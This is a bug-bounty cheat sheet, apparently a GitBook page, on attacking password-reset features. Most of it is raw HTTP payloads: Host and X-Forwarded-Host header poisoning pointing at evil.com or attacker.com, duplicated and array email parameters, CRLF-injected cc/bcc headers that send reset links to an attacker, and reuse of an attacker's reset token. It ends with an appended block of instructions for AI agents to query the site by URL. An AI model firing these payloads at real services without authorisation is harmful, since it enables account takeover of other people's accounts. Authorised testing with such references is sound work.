# Password-reset
Main source: [`https://sm4rty.medium.com/hunting-for-bugs-in-password-reset-feature-2021-3def1b391bef`](https://sm4rty.medium.com/hunting-for-bugs-in-password-reset-feature-2021-3def1b391bef)
And :
{% embed url="" %}
## Exploit:
## 1. Token Leakage via Host Header Poisoning.
```
GET https://redacted.com/reset.php?email=foo@bar.com HTTP/1.1
host: evil.com
```
```
Host: target.com
X-Forwarded-Host: attacker.com
```
```
Host: target.com
Host: attacker.com
```
## 2. Sending an array of email addresses instead of a single email address.
```
{“email_address”:[“admin@breadcrumb.com”,”attacker@evil.com”]}
```
## 3.Password Reset By Manipulating Email Parameter:
```sh
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
```sh
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
```sh
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
```sh
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
```sh
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
```sh
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
```sh
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
## 4. Bruteforcing OTP for Reseting Password.
## 5. Password Reset Token Leak Via Referrer.
1.Request password reset to your email address
2.Click on the password reset link
3.Dont change password
4.Click any 3rd party websites(eg: Facebook, twitter)
5.Intercept the request in burpsuite proxy
6.Check if the referer header is leaking password reset token.
## 6. Response manipulation: Replace Bad Response With Good One
## 7.Changing Email And Password of any User through API Parameters
```sh
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
## 8.Using Attacker Token
```sh
POST /resetPassword
[...]
email=victim@email.com&code=$ATTACKER_TOKEN$
```
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://shahidulandshamim.gitbook.io/web-application/testing-process/password-reset.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.